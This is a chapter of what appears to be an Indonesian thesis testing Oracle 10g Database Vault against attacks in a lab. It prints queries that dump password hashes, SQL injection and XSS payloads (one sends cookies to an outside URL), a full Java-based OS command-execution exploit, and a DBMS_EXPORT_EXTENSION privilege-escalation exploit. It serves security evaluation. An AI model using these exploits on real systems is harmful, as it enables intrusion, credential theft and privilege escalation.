IMPLEMENTASI DAN PENGUJIAN
4.2 Alter password database vault account manager
Bila database administrator tidak memiliki super privileges lagi setelah instalasi database vault, bagaimana jika merubah password database vault account manager sementara untuk memberi privilege pada user tertentu agar dapat mengakses database yang telah diproteksi dengan realm.
1. Buka web browser dan ketik url yang telah diberikan sebelumnya untuk koneksi ke isqlplus atau juga dapat melalui sqlplus yang berbasis text.
https://maroeti:5560/isqlplus
2. Show oracle password hash key, dengan mengetik SQL statements SELECT username, password FROM DBA_USERS;
atau
SELECT name,password FROM SYS.USER$ WHERE password is not null;
Gambar 4.1 Isqlplus menunjukkan username dan password
Seperti terlihat diatas seorang database administrator dan login sebagai system tetap bisa melihat semua password user
Rubah password database vault account manager untuk sementara dan memberikan GRANT untuk user tertentu
select username,password from dba_users where username='DVM'; alter user DVM identified by mypassword;
Dan hasilnya akan muncul pemberitahuan: “insufficient privileges”
Yang menerangkan bahwa user yang bersangkutan tidak memiliki privilege yang diminta untuk ALTER password user tertentu
Berikut ini adalah gambar dari perintah SQL untuk ALTER:
Gambar 4.2 Layar isqlplus menunjukkan tidak ada privilege
Teruji dengan adanya database vault seorang database administrator tidak bisa merubah password database vault account manager walaupun dapat melihat semua password database user yang terenkripsi. Namun hal ini juga bisa menjadi kendala berikutnya karena baik melalui isqlplus dan sqlplus „/as sysdba‟ user dapat mencari dekripsi dari password enkripsi yang terlihat.
Dengan mengetahui format password yang digunakan oleh oracle 10g maka akan lebih mudah lagi untuk mencari tool program dekripsi password yang
banyak tersebar di internet. Namun karena keterbatasan waktu maka penulis tidak melakukan percobaan untuk mendekripsi password-password database user tersebut.
Berdasarkan percobaan 4.1 dan 4.2 dapat diambil kesimpulan bahwa dengan ditambahkannya fitur database vault pada database oracle 10g dapat membatasi privilege DBA dan pembagian role sesuai dengan fungsi dari user. Sehingga keamanan data lebih dapat terjamin dan sesuai dengan peraturan Sarbanes-Oxley tentag integritas data. Akan tetapi database vault masih memiliki kelemahan dengan diketahuinya enkripsi password-password sehingga hal ini perlu jadi perhatian lebih lanjut bagi pihak oracle.
4.3 SQL Injection
Sql injection adalah penyisipan pada statemen sql yang umumnya digunakan para hacker untuk meretas web aplikasi. Pada web aplikasi seperti
mail.yahoo.com terdapat layar untuk memasukkan nama dan password. Pada saat kita memasukkan nama dan password dibagian url akan terlihat username=‟ „ dan password=‟ „, dibelakang dari isi username ditambahkan “or 1= 1--“ begitu juga pada password. Umumnya sql injection yang umum diketahui adalah code injection. Penulis akan mencoba meretas langsung ke server database oracle dengan sql injection, namun tidak melalui web aplikasi dan penggunaan oracle sebagai back end database yang terlindungi oleh firewall dan aplikasi-aplikasi intrusion detection system dikarenakan keterbatasan waktu dan keluar dari topik permasalahan.
a. Code Injection
Melakukan test autentifikasi apakah halaman web rentan atau tidak. Dengan memasukkan statemen pada box user name dan password atau pada halaman url itu sendiri.
SELECT id FROM users WHERE name='\' OR 1=1 ' AND pass='\' OR 1=1 LIMIT 1';
Mencoba semua kemungkinan yang ada: ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a „ or 1=func -- „ AND 1=func –
Untuk membuka halaman web pengatur database oracle maka pada kita tuliskan alamat url https://maroeti:1158/em pada web browser.
Pada kolom login, kita masukkan nama sembarang ditambah dengan kode-kode injeksi diatas, begitu juga dengan kolom password. Kita masukkan password sembarang ditambah dengan kode-kode injeksi diatas. Maka hasilnya adalah seperti gambar dibawah.
Gambar 4.3 Hasil dengan code injection pada oracle
Terlihat dari hasil gambar diatas bahwa muncul error dan pemberitahuan bahwa yang dapat login adalah sysdba atau sysoper. Jadi terbukti bahwa code injection tidak dapat digunakan untuk masuk ke server database oracle.
Selain itu penulis juga mencoba menggabungkan sql command untuk mengetahui nama host dengan command untuk menampilkan password dari dba_users
SQL> select utl_inaddr.get_host_name((select username||'='|| password from dba_users where rownum=1)) from dual;
Error at line 1:
ORA-29257: host SYS=D4DF7931AB130E37 unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1
Dan hasilnya adalah dengan terlihatnya user name SYS dengan password yang terenkripsi. Seperti pada percobaan sebelumnya, yang dibutuhkan adalah tool untuk mendekripsi password tersebut. Disimpulkan bahwa code injection tidak dapat digunakan untuk akses ke server database oracle secara langsung, mungkin beda hasilnya jika injeksi pada web aplikasi dan oracle sebagai back end database.
b. Cross Site Scripting (XSS)
Merupakan salah satu jenis serangan web dengan memanfaatkan metode http get/http post. Cross site scripting dapat diartikan sebagai kelemahan yang terjadi akibat ketidakmampuan server dalam memvalidasi input yang diberikan oleh pengguna dan serangan dilakukan dengan cara memasukkan naskah program (biasanya java script) sebagai bagian dari teks masukan melalui form yang tersedia. Contoh java script yang sering digunakan:
ASCII Usage: http://host/a.php?variable="><script>document.location='http://ww w.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> Hex Usage: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74 %3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f% Pada saat kita memasukkan url: https://maroeti:5560/isqlplus maka
akan tampil jendela login seperti dibawah ini dan hanya dba_users yang dapat mengakesnya jadi jika tidak berwenang akan muncul error.
Gambar 4.4 Logon form pada isqlplus
Penulis mencoba meretas isqlplus dengan mengetik skrip berikut ini pada halaman login.
https://maroeti/isqlplus?action=logon&username=dummy%22%3e% 3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript %3ealert('CSS')%3c/script%3e
Dan hasilnya adalah pemberitahuan tentang kegagalan koneksi dengan server database oracle.
Gambar 4.4 Hasil injeksi xss pada isqlplus
Terbukti dari hasil gambar diatas, cross site scripting tidak berhasil untuk meretas isqlplus oracle 10g.
c. Java exploitation
Cara lain untuk dapat mengakses file sistem di oracle selain tanpa menggunakan privilege CONNECT dan RESOURCES role (membutuhkan privilege khusus) yaitu dengan eksploitasi java pada utl_file package oracle. Dengan cara lain ini kita dapat menulis dan membaca file-file OS dengan privilege RDBMS user. Penulis mencoba mengeksploitasi utl_file oracle dengan menggunakan command sql raptor_oraexec.sql.
Oracle RDBMS dapat dianggap sebagai shell seperti bash atau windows command prompt, tidak hanya untuk menyimpan data tapi juga untuk melengkapi akses sistem file dan perintah sistem operasi. SQL>
create or replace and resolve java source named "oraexec" as import java.lang.*;
import java.io.*; public class oraexec {
Command execution module
public static void execCommand(String command) throws IOException
{
Runtime.getRuntime().exec(command); }
File reading module
public static void readFile(String filename) throws IOException
{
FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine();
while (text != null) {
System.out.println(text);
text = fr.readLine();
}
fr.close(); }
File writing module
public static void writeFile(String filename, String line) throws IOException
{
FileWriter f = new FileWriter(filename, true); /* append */
BufferedWriter fw = new BufferedWriter(f); fw.write(line);
fw.close(); }
} /
SQL> Java created.
usage: exec javacmd('command'); SQL>
create or replace procedure javacmd(p_command varchar2) as language java
name 'oraexec.execCommand(java.lang.String)'; /
SQL> Procedure created.
usage: exec dbms_java.set_output(2000); set serveroutput on;
exec javareadfile('/path/to/file');
SQL> create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)'; /
Procedure created.
usage: exec javawritefile('/path/to/file', 'line to append'); SQL> create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)'; /
Lalu di lakukan test
SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
PL/SQL procedure successfully completed.
SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
PL/SQL procedure successfully completed. SQL> exec dbms_java.set_output(2000); PL/SQL procedure successfully completed.
SQL> set serveroutput on;
SQL> exec javareadfile('/tmp/mytest'); /bin/ls -l > /tmp/aaa
/bin/ls -l / > /tmp/bbb
PL/SQL procedure successfully completed. SQL> exec javacmd('/bin/sh /tmp/mytest'); PL/SQL procedure successfully completed.
SQL> !sh
sh-3.2$ ls -rtl /tmp/
-rw-r--r-- 1 oracle oinstall 46 Aug 9 06:20 mytest -rw-r--r-- 1 oracle oinstall 1517 Aug 9 06:21 bbb -rw-r--r-- 1 oracle oinstall 505 Aug 9 06:21 aaa
Berdasarkan percobaan diatas dapat terlihat bahwa dengan mengeksploitasi java pada oracle dengan raptor_exec.sql, penulis dapat menuliskan perintah sistem operasi pada folder oinstall oracle. Folder oinstall adalah folder yang terbentuk pada saat instalasi awal oracle dan digunakan sebagai acuan untuk instalasi-instalasi berikutnya. Dengan eksploitasi pada perintah pada sistem operasi tidak tertutup kemungkinan jenis perintah yang dibuat selanjutnya
antara lain shutdown, restart dapat mengganggu dan merusak database.
d. Eksploitasi DBMS_EXPORT_EXTENTION
Paket dbms_export_extention diperlukan untuk melakukan export file pada database oracle. Isu rentannya fungsi get_domain_index_metadata pada dbms_export_extention yang dapat membuat user dengan akses database merubah privilegenya menjadi seorang DBA menjadi hal yang perlu diwaspadai. Berdasarkan data dari oracle sendiri, produk yang pernah terinfeksi adalah oracle dengan versi 10.1.0 kebawah. Penulis ingin mencoba mengeksploitasi dbms_export_extention pada oracle 10g release 2 yang telah di instalasi dengan fitur tambahan database vault.
Membuat paket dan injeksi fungsi, fungsi akan dijalankan dengan user SYS
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END; /
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER
IS
pragma autonomous_transaction; BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER'; COMMIT;
RETURN(1); END; END; /
Sisipkan fungsi ini pada dbms_export_extension DECLARE INDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200); TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGS NUMBER; v_Return VARCHAR2(200); BEGIN INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER'; TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER'; VERSION := '10.2.0.4.0'; GMFLAGS := 1; v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA( INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => NEWBLOCK, GMFLAGS => GMFLAGS
); END; /
Berikut adalah gambar dari hasil exploitasi dbms_export_extention
Gambar 4.6 Hasil exploitasi dbms_export_extension
Seperti terlihat pada gambar diatas bahwa ada pelanggaran pada realm DVSYS.AUTHORIZE_EVENT walaupun sql command tersebut di jalankan dengan user SYS dan injeksi prosedur gagal. Dengan ini terbukti bahwa oracle 10g ditambah dengan database vault mampu menahan serangan exploitasi dbms_export_extention. Hal ini pun tampak pada laporan database vault untuk pelanggaran pada realm. Berikut adalah bentuk laporan yang diberikan database vault atas pelanggaran pada realm.
Gambar 4.7 Hasil laporan pada database vault